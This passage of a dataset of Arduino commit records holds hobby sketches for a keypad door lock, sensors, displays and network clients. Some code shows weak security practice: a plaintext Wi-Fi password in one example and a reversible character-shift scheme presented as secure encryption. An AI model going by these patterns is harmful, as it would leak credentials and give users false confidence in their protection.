= 9;\n\nint attempt = 0;\nint count = 0;\nint max_attempt;\nString disp = \"\";\nchar pass[16];\n\nboolean display_armed = false;\nboolean display_disarmed = false;\nboolean display_locked = false;\nboolean display_unlocked = false;\n\nboolean device_status = false;\nboolean device_condition = false;\n\nlong prevTime = 0;\nlong interval_check = 600000;\n\nvoid setup(){\n lcd.init();\n lcd.backlight();\n lcd.setCursor(3, 0);\n lcd.print(\"Keamanan Pintu\");\n lcd.setCursor(0,1);\n lcd.print(\"Inisialisasi...\");\n Ethernet.begin(mac, ip);\n device_status = check_device();\n device_condition = check_condition();\n lcd_init();\n pinMode(sensor, INPUT);\n digitalWrite(sensor, HIGH);\n pinMode(solenoid, OUTPUT);\n}\n\nvoid loop(){\n unsigned long curTime = millis();\n \n if(curTime - prevTime > interval_check){\n\tprevTime = curTime;\n\tdevice_status = check_device();\n\tdevice_condition = check_condition();\n }\n \n if(device_status){\n if(device_condition){\n char key = keypad.getKey();\n if (key != NO_KEY){\n disp += \"*\";\n lcd.setCursor(0,2);\n lcd.print(disp);\n pass[count] = key;\n count++;\n }\n if(key == '*'){\n attempt++;\n send_password(pass);\n sys_init();\n lcd_init();\n }\n if(key == '#'){\n sys_init();\n lcd_init();\n }\n }\n else{\n device_condition = check_condition();\n }\n }\n}\n\nboolean check_device(){\n if(read_server(\"\/api\/dcs_get_value\/status\") == \"1\"){\n if(!display_armed){\n lcd_init();\n display_armed = true;\n }\n display_disarmed = false;\n return true;\n }\n else{\n if(!display_disarmed){\n lcd_print(\"Perangkat non-aktif\");\n display_disarmed = true;\n }\n display_armed = false;\n return false;\n }\n}\n\nboolean check_condition(){\n if(read_server(\"\/api\/dcs_get_value\/condition\") == \"0\"){\n if(!display_unlocked){\n lcd_init();\n display_unlocked = true;\n }\n display_locked = false;\n return true;\n }\n else{\n if(!display_locked){\n lcd_print(\"Perangkat terkunci\");\n display_locked = true;\n }\n display_unlocked = false;\n return false;\n }\n}\n\nvoid sys_init(){\n memset(pass, 0, sizeof pass);\n count = 0;\n disp = \"\";\n}\n\nvoid lcd_init(){\n lcd.setCursor(3,0);\n lcd.print(\"Keamanan Pintu\");\n lcd.setCursor(0,1);\n lcd.print(\"Input Password :\");\n lcd.setCursor(0,2);\n for(int i=0;i<20;i++){\n lcd.print(\" \");\n }\n}\n\nvoid lcd_print(String s){\n lcd.clear();\n lcd.setCursor(3,0);\n lcd.print(\"Keamanan Pintu\");\n lcd.setCursor(0,2);\n lcd.print(s);\n}\n\nvoid lcd_attempts(int tried, int attempts){\n lcd.setCursor(0,3);\n lcd.print(\"Percobaan :\");\n lcd.setCursor(13,3);\n lcd.print(tried);\n lcd.setCursor(15,3);\n lcd.print(\"\/\");\n lcd.print(attempts);\n}\n\nvoid send_password(char password[]){\n String data =\"\";\n EthernetClient client;\n String s_password = \"password=\";\n data = s_password+password;\n Serial.println(data);\n\n if (client.connect(server,80))\n {\n client.print(\"POST \/api\/dcs_check_password HTTP\/1.1\\n\");\n client.print(\"Host: 192.168.1.3\\n\");\n client.print(\"Connection: close\\n\");\n client.print(\"Content-Type: application\/x-www-form-urlencoded\\n\");\n client.print(\"Content-Length: \");\n client.print(data.length());\n client.print(\"\\n\\n\");\n client.print(data);\n }\n delay(50);\n check_result(read_server(\"\/api\/dcs_get_value\/result\"));\n}\n\nvoid check_result(String result){\n if(attempt == 1){\n max_attempt = read_server(\"\/api\/dcs_get_value\/password_attempts\").toInt();\n lcd_attempts(attempt, max_attempt);\n }\n if(result == \"1\"){\n open_door();\n }\n else{\n lcd_print(\"Password Salah\");\n lcd_attempts(attempt, max_attempt);\n delay(1000);\n if(attempt >= max_attempt){\n attempt = 0;\n lock_device();\n }\n }\n}\n\nvoid open_door(){\n attempt = 0;\n lcd_print(\"Pintu Terbuka\");\n digitalWrite(solenoid, HIGH);\n delay(3000);\n int val = digitalRead(sensor);\n while(digitalRead(sensor) == HIGH){\n val = digitalRead(sensor);\n }\n delay(1000);\n digitalWrite(solenoid, LOW);\n}\n\nString read_server(String url){\n if (client.connect(server, 80)) {\n client.print(\"GET \");\n client.println(url);\n client.println();\n return readData();\n }\n else{\n return \"connection failed\";\n }\n}\n\nString readData(){\n int stringPos = 0; \n boolean startRead = false;\n char inString[8];\n\n memset( &inString, 0, 8 );\n while(true){\n if (client.available()) {\n char c = client.read();\n if (c == '<' ) {\n startRead = true;\n }\n else if(startRead){\n if(c != '>'){\n inString[stringPos] = c;\n stringPos ++;\n }\n else{\n startRead = false;\n client.stop();\n client.flush();\n return inString;\n }\n }\n }\n }\n}\n\nvoid lock_device(){\n String data =\"\";\n EthernetClient client;\n data = \"1\";\n\n if (client.connect(server,80))\n {\n client.print(\"POST \/api\/dcs_lock HTTP\/1.1\\n\");\n client.print(\"Host: 192.168.1.3\\n\");\n client.print(\"Connection: close\\n\");\n client.print(\"Content-Type: application\/x-www-form-urlencoded\\n\");\n client.print(\"Content-Length: \");\n client.print(data.length());\n client.print(\"\\n\\n\");\n client.print(data);\n \n device_condition = false;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BiotechHardware\/dcs\/dcs_alpha1\/dcs_alpha1.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0eed216fb52d6296ec3f996c977762be42cffe99","subject":"eklendi DOUBLE_BTS7960B_ROS Driver_TANK_DRIVE","message":"eklendi DOUBLE_BTS7960B_ROS Driver_TANK_DRIVE","repos":"ResearcherOne\/RobotTakimiRepo,ResearcherOne\/RobotTakimiRepo,ResearcherOne\/RobotTakimiRepo,ResearcherOne\/RobotTakimiRepo","old_file":"6_ROS\/ROS_PAKETLER\/DOUBLE_BTS7960B_ROS Driver_TANK_DRIVE.ino","new_file":"6_ROS\/ROS_PAKETLER\/DOUBLE_BTS7960B_ROS Driver_TANK_DRIVE.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec '6_ROS\/ROS_PAKETLER\/DOUBLE_BTS7960B_ROS' did not match any file(s) known to git\nerror: pathspec 'Driver_TANK_DRIVE.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"72e4ba898a3814c58ec117c39e8ae9159924e4ba","subject":"Minor Modifications","message":"Minor Modifications\n","repos":"Darren-Mc\/Arduino,Darren-Mc\/Arduino","old_file":"LINKER_O2\/LINKER_O2.ino","new_file":"LINKER_O2\/LINKER_O2.ino","new_contents":"#include <math.h>\n\nconst int buzzerPin=3; \/\/Connect the Buzzer module to Pin3, Digital 3\nfloat thresholdVoltage= 1.84; \/\/The treshold for which the Buzzer should sound. \n\nvoid setup()\n{\n Serial.begin(9600); \/\/Start the Serial connection\n pinMode(buzzerPin,OUTPUT); \/\/Set the LED on Digital 12 as an OUTPUT\n \n}\n\nvoid loop()\n{\n\nfloat sensorValue;\nfloat sensorVoltage; \nsensorValue = analogRead(A2);\nsensorVoltage =(sensorValue\/1024)*5.0;\n\nSerial.println(sensorVoltage);\n\/*if(sensorVoltage<thresholdVoltage)\n {\n digitalWrite(buzzerPin,HIGH);\n }\n else\n {\n digitalWrite(buzzerPin,LOW);\n }*\/\n \/\/sensorVoltage = sensorVoltage\/101*1000;\n\/\/Serial.println(\"the output voltage is:\");\n\n\/\/Serial.print(sensorVoltage);\n\/\/Serial.println(\"mV\");\ndelay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LINKER_O2\/LINKER_O2.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9b6646222f87cf018bfb9ebb127694b96ec4becb","subject":"homing only - sketch too big - let's slim down","message":"homing only - sketch too big - let's slim down\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"d81d8787fa6182d483f318eb8678f1922344cc53","subject":"Create AnalogReadUbidots.ino","message":"Create AnalogReadUbidots.ino","repos":"ubidots\/ubidots-arduino-wifi","old_file":"examples\/AnalogReadUbidots.ino","new_file":"examples\/AnalogReadUbidots.ino","new_contents":"\/*\n Analog Read example for Ubidots \n \n This sketch connects to Ubidots (http:\/\/www.ubidots.com) using an Arduino Wifi shield.\n \n This example is written for a network using WPA encryption. You only need your SSID and PASS.\n \n This example uses Ubidots official library for Arduino WiFi Shield, for the Ubidots API v1.6.\n \n With this example you can read an analog sensor with the arduino, and post it\n to the Ubidots platform with the function save_value \n \n Components:\n * Arduino Wifi shield\n * Serial Monitor in your Arduino IDE\n \n Created 9 Jun 2014\n Modified 9 Jun 2014\n by Mateo V\u00e9lez\n \n This code is in the public domain.\n \n *\/\n#include <WiFi.h>\n#include <Ubidots.h>\nchar ssid[] = \"Atom House Medellin\"; \/\/your network SSID (name) \nchar pass[] = \"atommed2014\"; \/\/your network password (use for WPA, or use as key for WEP)\nString api = \"xxxxxxx6794f9043f0918ddcbd26\"; \/\/your API Key \nString idvari = \"53baaf3c76254244e1c8e408\"; \/\/the number of the Ubidots variable\nint sensorValue = 0; \/\/variable to store the value coming from the sensor\nint sensorPin = A0; \/\/select your analog pin\nUbidots ubiclient(api); \/\/call the api with the function ubiclient\n\n\nvoid setup()\n{\n boolean response; \n int status = WL_IDLE_STATUS; \/\/we need to define first a WL_IDLE_STATUS for the network\n Serial.begin(9600); \/\/9600 baud for serial transmision\n response = ubiclient.WifiCon(ssid, pass, status, api); \/\/this function is to connect to your wifi network\n Serial.println(response); \/\/print response to the Serial Monitor\n}\nvoid loop()\n{\n \n sensorValue = analogRead(sensorPin); \n if (ubiclient.save_value(idvari, String(sensorValue))) \/\/this function is to post to ubidots and return True or False depending on the connection status\n {\n Serial.println(\"The sensor value \" + String(sensorValue) + \" was sent to Ubidots\"); \/\/print the sensor value \n }\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AnalogReadUbidots.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5272a74ab81ceed5fa2d50968d74d44f99e6efc4","subject":"Adjusted to new physical configuration, print active panel IDs","message":"Adjusted to new physical configuration, print active panel IDs\n","repos":"anyWareSculpture\/physical,anyWareSculpture\/physical,anyWareSculpture\/physical,anyWareSculpture\/physical","old_file":"arduino\/Test sketches\/SimonTester\/SimonTester.ino","new_file":"arduino\/Test sketches\/SimonTester\/SimonTester.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Test' did not match any file(s) known to git\nerror: pathspec 'sketches\/SimonTester\/SimonTester.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"506bb58e45ee28ed3a280bea453c71b6a643b127","subject":"Create COA_Arduino_with_ethernet.ino","message":"Create COA_Arduino_with_ethernet.ino","repos":"conorwalsh\/COA","old_file":"Examples\/Arduino-and-PHP\/Arduino\/COA_Arduino_with_ethernet.ino","new_file":"Examples\/Arduino-and-PHP\/Arduino\/COA_Arduino_with_ethernet.ino","new_contents":"\/*****************************************************************\n******************************************************************\n\t\t\t ____ ___ _ \n\t\t\t \/ ___\/ _ \\ \/ \\ \n\t\t\t | | | | | |\/ _ \\ \n\t\t\t | |__| |_| \/ ___ \\ \n \t\t \\____\\___\/_\/ \\_\\\n Conor's Obscurification Algorithm\n \n Conor Walsh 2014 - 2015\n Website: http:\/\/www.conorwalsh.net\n GitHub: https:\/\/github.com\/conorwalsh\n \n Version 3.2\n \n First created: 10th August 2014\n Last modified: 21st March 2015\n\n Description: This sample code shows how the alogoritm can be used\n with its PHP companion to more securly send data\n from an Arduino to a MySQL database.\n \n *************************** LICENCE *****************************\n \n Copyright (c) 2015 Conor Walsh\n\n Permission is hereby granted, free of charge, to any person obtaining\n a copy of this software and associated documentation files (the\n \"Software\"), to deal in the Software without restriction, including\n without limitation the rights to use, copy, modify, merge, publish,\n distribute, sublicense, and\/or sell copies of the Software, and to\n permit persons to whom the Software is furnished to do so, subject to\n the following conditions:\n\n The above copyright notice and this permission notice shall be included\n in all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n \n******************************************************************\n*****************************************************************\/\n\n\/\/Ethernet stuff\n#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/Setup for Ethernet Library\nbyte mac_addr[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nEthernetClient client;\n\/\/Change to your server\nchar server[] = \"myserver.example.com\";\n\n\/\/This is an array of charcters that are used by my encrytion alogritim to generate secure hashes for network communication\nconst char letters[58] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '!', '_', '>', '<', '~', ','};\n\nvoid setup() {\n Serial.begin(9600);\n \n Serial.println(\"Internet Starting . . .\");\n Serial.println(\"\");\n \/\/Start Ethernet\n Ethernet.begin(mac_addr);\n delay(500);\n \n Serial.println(\"Ready\");\n Serial.println(\" \");\n}\n\nvoid loop() {\n \n \/\/Stores the message\n String messagenew = \"Hello World!\";\n \n \/\/Calls the encrypt function with the message and security multiplier and stores it in a string\n String encryptedmessage = COAencrypt(messagenew, 6);\n \n \/\/Send data to serial\n Serial.println(\"Original: \" + messagenew);\n Serial.println(\"\");\n Serial.println(\"Encrypted: \" + encryptedmessage);\n Serial.println(\"\");\n \n Serial.println(\"Making Request...\");\n Serial.println(\"\");\n\n \/\/ if you get a connection, report back via serial:\n if (client.connect(server, 80)) {\n Serial.println(\"Connected\");\n \/\/ Make a HTTP request:\n \/\/change to your location\n client.println(\"GET \/arduino.php?i=\" + encryptedmessage + \" HTTP\/1.1\");\n \/\/change to your host\n client.println(\"Host: myserver.example.com\");\n \/\/client.println(\"Connection: close\");\n client.println();\n } \n else {\n \/\/ If connection failed\n Serial.println(\"Connection Failed\");\n Serial.println(\"\");\n }\n if (client.connected()) {\n Serial.println();\n Serial.println(\"Disconnecting\");\n Serial.println(\"\");\n client.stop();\n }\n \n delay(20000);\n}\n\n\/\/The COA function\nString COAencrypt(String messagetext1, int securityMultiplier) {\n \n \/\/Add a character to avoid corruption\n String decryptedText = messagetext1 + \"~\"; \n \/\/This key is a random number between 11 and 46 that is used to encrypt the information into a hash\n int key = random(11, 46);\n \n \/\/Create a byte array that has the same number of bytes as the string\n byte textByte[decryptedText.length()];\n \/\/Convert the unencypted information to a byte array that was created in the previous line\n decryptedText.getBytes(textByte, decryptedText.length()); \n \n \/\/This line creates the string that stores the hash\n \/\/Step 1 of the encryption is to multiply the key by 6 and then add a random letter\/symbol stored in the letters array\n \/\/E.g. the start of the encryption looks like this 210x the key is 35 and the random character is x\n String textDec = String(key*securityMultiplier) + letters[random(0, 58)];\n \n \/\/This loop runs once for every charcter in the unencypted array which was converted from the unencrypted string\n for(int i = 0; i <= decryptedText.length(); i++){\n \/\/If it is the last character in the array then run this function\n if(i==decryptedText.length()){\n \/\/Convert the character to decimal value e.g a = 97\n \/\/Add the key to the decimal value e.g. if the key = 35 then a = 132 (97 + 35)\n \/\/Convert the integers to a string\n \/\/Add it to the already encryted data in the string\n textDec = textDec + String(String(textByte[i]).toInt()+key); \n }\n \/\/If it is not the last character in the array then run this function\n else{\n \/\/Convert the character to decimal value e.g a = 97\n \/\/Add the key to the decimal value e.g. if the key = 35 then a = 132 (97 + 35)\n \/\/Convert the integers to a string\n \/\/Add a random charcter\/symbol from the letters array this acts as a spacer for the decrytion algoritim on the server side because the decimal value can...\n \/\/...be 2 or 3 numbers long and it is difficult to seperate otherwise whereas with the character\/symbol spacer the alogoritim knows where the decimal values start and end.\n \/\/Add it to the already encryted data in the string\n textDec = textDec + String(String(textByte[i]).toInt()+key) + letters[random(0, 58)];\n }\n }\n \/\/Tell serial the encrypted data that is sent to the server (For debugging)\n return textDec; \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Examples\/Arduino-and-PHP\/Arduino\/COA_Arduino_with_ethernet.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b1d9e2b178095426a324a4c4ef0e304a94036f22","subject":"Create 01_Particle.ino","message":"Create 01_Particle.ino","repos":"JFLegros\/RedBear_Duo,JFLegros\/RedBear_Duo","old_file":"firmware\/examples\/01_Particle\/01_Particle.ino","new_file":"firmware\/examples\/01_Particle\/01_Particle.ino","new_contents":"\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/01_Particle\/01_Particle.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9b9ea510709e8a14e2addab98d0297e682f8c640","subject":"Internal mcu temperature","message":"Internal mcu temperature\n","repos":"theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar","old_file":"Mk2\/experiments\/internal_temperature\/internal_temperature.ino","new_file":"Mk2\/experiments\/internal_temperature\/internal_temperature.ino","new_contents":"\/\/ Internal Temperature Sensor\n\/\/ Example sketch for ATmega328 types.\n\/\/ \n\/\/ April 2012, Arduino 1.0\n\nvoid setup()\n{\n Serial.begin(115200);\n\n \/\/ The internal temperature has to be used\n \/\/ with the internal reference of 1.1V.\n \/\/ Set the internal reference and mux.\n ADMUX = (_BV(REFS1) | _BV(REFS0) | _BV(MUX3));\n ADCSRA |= _BV(ADEN); \/\/ enable the ADC\n delay(5);\n\n Serial.println(F(\"Internal Temperature Sensor\"));\n \n}\n\nvoid loop()\n{\n \/\/ Show the temperature in degrees Celsius.\n Serial.println(mcuTemperature());\n delay(1000);\n}\n\nint mcuTemperatureRaw() {\n \/\/ Start the conversion\n ADCSRA |= _BV(ADSC); \n\n \/\/ Detect end-of-conversion\n while (bit_is_set(ADCSRA,ADSC));\n\n \/\/ Reading register \"ADCW\" takes care of how to read ADCL and ADCH.\n return ADCW;\n}\n\nint mcuTemperature(void)\n{\n int sum = 0;\n int avg = 0;\n double t;\n\n \/\/ Average a bit shiftable amount of readings.\n for (uint8_t i; i < 8; i++) {\n sum += mcuTemperatureRaw();\n }\n avg = sum \/ 8;\n\n \/\/ subtract 273 for celsius\n \/\/ subtract the extra offest.\n \/\/ the 1.22 is a fixed coefficient k (http:\/\/www.atmel.com\/Images\/Atmel-8108-Calibration-of-the-AVR's-Internal-Temperature-Reference_ApplicationNote_AVR122.pdf)\n \/\/@link https:\/\/playground.arduino.cc\/Main\/InternalTemperatureSensor\n t = (avg - 333.5) \/ 1.22;\n \n\n \/\/ The returned temperature is in degrees Celsius.\n return round(t);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Mk2\/experiments\/internal_temperature\/internal_temperature.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"415f0b3e94e14488c73697e380f079b86741ef35","subject":"module with esp8266 and pir sensor","message":"module with esp8266 and pir sensor\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/ha_mqtt_sensor_pir\/ha_mqtt_sensor_pir.ino","new_file":"modules\/ha_mqtt_sensor_pir\/ha_mqtt_sensor_pir.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4804830b82330a0788bb4ff5c16622daaecfd55a","subject":"Add simple example for the library","message":"Add simple example for the library\n","repos":"kirberich\/teensy_ssd1351,kirberich\/teensy_ssd1351,kirberich\/teensy_ssd1351,kirberich\/teensy_ssd1351,kirberich\/teensy_ssd1351","old_file":"examples\/simpletest\/simpletest.ino","new_file":"examples\/simpletest\/simpletest.ino","new_contents":"#include <Arduino.h>\n#include <SPI.h>\n#include <ssd1351.h>\n\n\/\/ use this to do Color c = RGB(...) instead of `RGB c = RGB(...)` or ssd1351::LowColor c = RGB(...)\n\/\/ because it's slightly faster and guarantees you won't be sending wrong colours to the display.\n\n\/\/ Choose color depth - LowColor and HighColor currently supported\n\/\/ typedef ssd1351::LowColor Color;\ntypedef ssd1351::HighColor Color;\n\n\/\/ Choose display buffering - NoBuffer or SingleBuffer currently supported\n\/\/ auto display = ssd1351::SSD1351<Color, ssd1351::NoBuffer, 128, 96>();\nauto display = ssd1351::SSD1351<Color, ssd1351::SingleBuffer, 128, 96>();\n\nbool up = false;\nint pos = 127;\nconst int particles = 256;\nint offsets[particles];\nint x_pos[particles];\nint y_pos[particles];\nColor particle_colors[particles];\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"Booting...\");\n display.begin();\n Serial.println(\"Display set up.\");\n\n for (int i = 0; i < particles; i++) {\n x_pos[i] = random(0, 128);\n y_pos[i] = random(0, 96);\n particle_colors[i] = ssd1351::RGB(0, i + 10, i\/2 + 10);\n }\n}\n\nvoid loop() {\n unsigned long before = millis();\n display.fillScreen(ssd1351::RGB());\n Color circleColor = ssd1351::RGB(0, 128, 255);\n\n for (int i = 0; i < particles; i++) {\n offsets[i] += random(-2, 3);\n display.drawLine(\n x_pos[i] + offsets[i],\n y_pos[i] + offsets[i],\n pos,\n 80 + sin(pos \/ 4.0) * 20,\n particle_colors[i]\n );\n display.drawCircle(\n x_pos[i] + offsets[i],\n y_pos[i] + offsets[i],\n 1,\n circleColor\n );\n }\n display.updateScreen();\n Serial.println(millis() - before);\n\n if (up) {\n pos++;\n if (pos >= 127) {\n up = false;\n }\n } else {\n pos--;\n if (pos < 0) {\n up = true;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/simpletest\/simpletest.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"658c907d9bfcd080550ac4d3e42f4210f520cca9","subject":"add actual Arduino sketch file","message":"add actual Arduino sketch file\n","repos":"szymekrak\/etlogd","old_file":"microcontroller_side\/arduino_onewire.ino","new_file":"microcontroller_side\/arduino_onewire.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/szymekrak\/etlogd.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"37e9cecd60b66f8be2ec46dfe0bedca4b9557e49","subject":"Add example","message":"Add example\n","repos":"turippj\/TURIPlibrariesForArduino,turippj\/TURIPlibrariesForArduino","old_file":"TURIPshell\/examples\/TURIPonUARTserver_GPIO\/TURIPonUARTserver_GPIO.ino","new_file":"TURIPshell\/examples\/TURIPonUARTserver_GPIO\/TURIPonUARTserver_GPIO.ino","new_contents":"#include <TURIPserver.h>\n#include <TURIPshell.h>\n\nconst uint32_t TURIP_MODEL = 0x371b;\nconst uint32_t TURIP_SERIAL = 0x0;\n\nconst int PIN_AI1 = 0;\nconst int PIN_AI2 = 1;\nconst int PIN_AO1 = 5;\nconst int PIN_AO2 = 6;\nconst int PIN_DI1 = 7;\nconst int PIN_DI2 = 8;\nconst int PIN_DO1 = 3;\nconst int PIN_DO2 = 4;\n\nTURIPport dIn1(1);\nTURIPport dIN2(2);\nTURIPport dOut1(3);\nTURIPport dOut2(4);\nTURIPport aIn1(5);\nTURIPport aIn2(6);\nTURIPport aOut1(7);\nTURIPport aOut2(8);\n\nvoid setup(){\n Serial.begin(9600);\n\n pinMode(PIN_DI1, INPUT);\n pinMode(PIN_DI2, INPUT);\n pinMode(PIN_DO1, OUTPUT);\n pinMode(PIN_DO2, OUTPUT);\n analogWrite(PIN_AO1, 0);\n analogWrite(PIN_AO2, 0);\n\n aIn1.preTransmitFunc = setValues;\n aIn2.preTransmitFunc = setValues;\n aOut1.postReceiveFunc = setValues;\n aOut2.postReceiveFunc = setValues;\n\n TURIPserver.begin(TURIP_MODEL, TURIP_SERIAL);\n}\n\nvoid loop(){\n serialEvent();\n}\n\nvoid serialEvent(){\n static String strBuf;\n while(Serial.available()){\n char c = Serial.read();\n if(c == 0x0a){ \/\/ 0x0a: LF\n strBuf.trim();\n Serial.println(TURIPshell(strBuf));\n strBuf = \"\";\n }else{\n strBuf += c;\n }\n }\n}\n\nvoid setValues(){\n analogWrite(PIN_AO1, aOut1.readUint16());\n analogWrite(PIN_AO1, aOut2.readUint16());\n aIn1.writeUint16(analogRead(PIN_AI1));\n aIn2.writeUint16(analogRead(PIN_AI2));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TURIPshell\/examples\/TURIPonUARTserver_GPIO\/TURIPonUARTserver_GPIO.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"de86724a1cce3c88383ba9f652553981c8add80a","subject":"Added what should be the \"real\" system and not a simple demo","message":"Added what should be the \"real\" system and not a simple demo","repos":"ajfisher\/sketching-conf-demo,ajfisher\/sketching-conf-demo,ajfisher\/sketching-conf-demo,ajfisher\/sketching-conf-demo","old_file":"arduino\/colour_controlled_with_decay\/colour_controlled_with_decay.ino","new_file":"arduino\/colour_controlled_with_decay\/colour_controlled_with_decay.ino","new_contents":"#include \"Arduino.h\"\n#include <Ethernet.h>\n#include <SPI.h>\n#include <string.h>\n#include <stdlib.h>\n\n#include <WebSocketClient.h>\n\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nchar server[] = \"10.0.1.15\";\nchar path[] = \"\/socket.io\/websocket\/\";\nint port = 8000;\nWebSocketClient client;\n\n#define BUFLENGTH 64\nchar buf[BUFLENGTH]; \/\/ character buffer for json processing\n\n#define STATE_NONE 0\n#define STATE_START 1\n#define START_COLOURCHANGE 2\nint state = STATE_NONE;\n\nint CKI = 2;\nint SDI = 3;\nint colour_id = 0;\n\n#define STRIP_LENGTH 3 \/\/ Number of RGBLED modules connected\nlong strip_colors[STRIP_LENGTH];\n\nlong ind_colours[STRIP_LENGTH]; \/\/ actual individual modules.\n\nstruct colour_module {\n int r;\n int b;\n int g;\n};\n\nint pos = -1;\nint red = 0;\nint blue = 0;\nint green = 0;\n\n#define DEBUG\n\nvoid setup() {\n \/\/ set up the devices\n pinMode(SDI, OUTPUT);\n pinMode(CKI, OUTPUT);\n\n Serial.begin(9600);\n #ifdef DEBUG\n Serial.println(\"Starting Up\");\n freeMem(\"At Start: \");\n #endif\n \n Ethernet.begin(mac);\n delay(1000);\n #ifdef DEBUG\n Serial.println(\"Connecting\");\n #endif\n if (client.connect(server, path, port) ) {\n #ifdef DEBUG\n Serial.println(\"Attempt a subscribe\");\n #endif\n client.subscribe(\"pong\");\n #ifdef DEBUG\n Serial.println(\"Sending data\");\n #endif\n client.setDataArrivedDelegate(dataArrived);\n } else {\n #ifdef DEBUG\n Serial.println(\"Not Connected - check connection and start again\");\n #endif\n while (1) {\n \/\/digitalWrite(13, HIGH);\n \/\/delay(1000);\n \/\/digitalWrite(13, LOW);\n \/\/delay(1000);\n }\n }\n \n digitalWrite(13, HIGH);\n}\n\nvoid loop() {\n client.monitor();\n \n for (int i=0; i < STRIP_LENGTH; i++) {\n if (pos == i) {\n ind_colours[i] = get_colour(red, green, blue);\n } else {\n ind_colours[i] = get_colour(0,0,0);\n }\n }\n \n post_set(ind_colours);\n delay(1);\n}\n\nvoid dataArrived(WebSocketClient client, String data) {\n\n \/\/ check here for a json message as it's most timely and also most frequent\n int jsonindex = data.lastIndexOf(\"~j~\");\n if (jsonindex > 0) {\n \/\/now get the json message\n String msg_string = data.substring(jsonindex+3);\n msg_string = msg_string.substring(1, msg_string.lastIndexOf(\"}\"));\n msg_string.replace(\" \", \"\");\n msg_string.replace(\"\\\"\", \"\");\n \n #ifdef DEBUG\n Serial.println(\"Message:\");\n Serial.println(msg_string);\n freeMem(\"After JSON arrives: \");\n #endif\n \n msg_string.toCharArray(buf, BUFLENGTH);\n\n #ifdef DEBUG\n freeMem(\"After char conversion: \");\n #endif\n \n \/\/ iterate over the tokens of the message - assumed flat.\n char *p = buf;\n char *str;\n while ((str = strtok_r(p, \",\", &p)) != NULL) { \n #ifdef DEBUG\n Serial.println(str);\n #endif\n \n char *tp = str;\n char *key; char *val;\n \n \/\/ get the key\n key = strtok_r(tp, \":\", &tp);\n val = strtok_r(NULL, \":\", &tp);\n \n #ifdef DEBUG\n Serial.print(\"Key: \");\n Serial.println(key);\n Serial.print(\"val: \");\n Serial.println(val);\n #endif\n \n if (*key == 'r') red = atoi(val);\n if (*key == 'g') green 